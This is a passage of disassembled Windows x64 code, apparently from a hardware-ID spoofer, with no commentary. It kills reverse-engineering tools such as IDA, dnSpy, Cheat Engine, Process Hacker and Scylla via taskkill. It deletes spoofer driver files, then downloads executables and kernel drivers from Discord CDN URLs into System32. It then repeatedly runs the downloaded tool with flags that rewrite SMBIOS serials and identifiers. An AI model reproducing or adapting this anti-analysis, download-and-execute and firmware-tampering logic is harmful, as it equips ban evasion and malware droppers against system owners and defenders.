call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQdiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQNULLSPOOF.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQkdmapper.exe
call fcn.1402b632c
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32Mobo.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769226113054_AMI.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv64.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769909780491_amifldrv64.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv32.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769582620694_amifldrv32.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Windows_nfLauncher.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1139989094840152174_nfLauncher.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.C:WindowsSystem32Mobo.exe__GAN__XXXX_XXXX_XXXX
lea rcx, [rsp + 0x58d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x58d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x58d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPIN__XXXX_XXXX_XXXX
lea rcx, [rsp + 0x58f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x58f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x58f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EAX__XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5910]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5910]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5910]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EBX__XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5930]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5930]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5930]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ECX__XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5950]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5950]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5950]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EDX__XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5970]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5970]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5970]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CIMV2__XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5990]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5990]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5990]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMI__XXXX_XXXX_XXXX
lea rcx, [rsp + 0x59b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x59b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x59b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMIC_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x59d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x59d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x59d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x59f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x59f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x59f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5a10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5a10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5a10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5a30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5a30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5a30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5a50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5a50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5a50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5a70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5a70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5a70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5a90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5a90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5a90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5ab0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5ab0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5ab0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5ad0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5ad0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5ad0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5af0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5af0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5af0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5b10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5b10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5b10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5b30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5b30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5b30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SP_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5b50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5b50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5b50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SF_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5b70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5b70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5b70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5b90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5b90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5b90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5bb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5bb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5bb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5bd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5bd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5bd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5bf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5bf0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5bf0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5c10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5c10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5c10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5c30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5c30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5c30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CVXXXX_XXXX_XXXX
lea rcx, [rsp + 0x5c50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5c50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5c50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5c70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5c70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5c70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5c90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5c90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5c90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5cb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5cb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5cb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5cd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5cd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5cd0]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x5cf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5cf0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5cf0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5d10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5d10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5d10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5d30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5d30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5d30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5d50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5d50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5d50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5d70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5d70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5d70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5d90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5d90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5d90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5db0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5db0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5db0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5dd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5dd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5dd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5df0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5df0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5df0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ID_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5e10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5e10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5e10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5e30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5e30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5e30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5e50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5e50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5e50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5e70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5e70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5e70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5e90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5e90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5e90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5eb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5eb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5eb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5ed0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5ed0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5ed0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5ef0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5ef0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5ef0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__COH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5f10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5f10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5f10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5f30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5f30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5f30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5f50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5f50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5f50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5f70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5f70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5f70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5f90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5f90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5f90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5fb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5fb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5fb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5fd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5fd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5fd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x5ff0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5ff0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5ff0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6010]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6010]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6010]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6030]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6030]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6030]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6050]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6050]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6050]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6070]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6070]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6070]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6090]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6090]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6090]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x60b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x60b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x60b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x60d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x60d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x60d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x60f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x60f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x60f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6110]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6110]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6110]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SP_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x22d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x22d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x22d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SF_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6130]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6130]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6130]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6150]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6150]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6150]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6170]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6170]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6170]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6190]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6190]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6190]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x61b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x61b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x61b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x61d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x61d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x61d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x61f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x61f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x61f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CVXXXX_XXXX_XXXX
lea rcx, [rsp + 0x6210]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6210]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6210]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6230]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6230]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6230]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6250]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6250]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6250]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6270]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6270]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6270]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6290]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6290]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6290]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x62b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x62b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x62b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x62d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x62d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x62d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__GAN__XXXX_XXXX_XXXX
lea rcx, [rsp + 0x62f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x62f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x62f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPIN__XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6310]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6310]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6310]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EAX__XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6330]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6330]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6330]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EBX__XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6350]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6350]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6350]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ECX__XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6370]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6370]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6370]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EDX__XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6390]
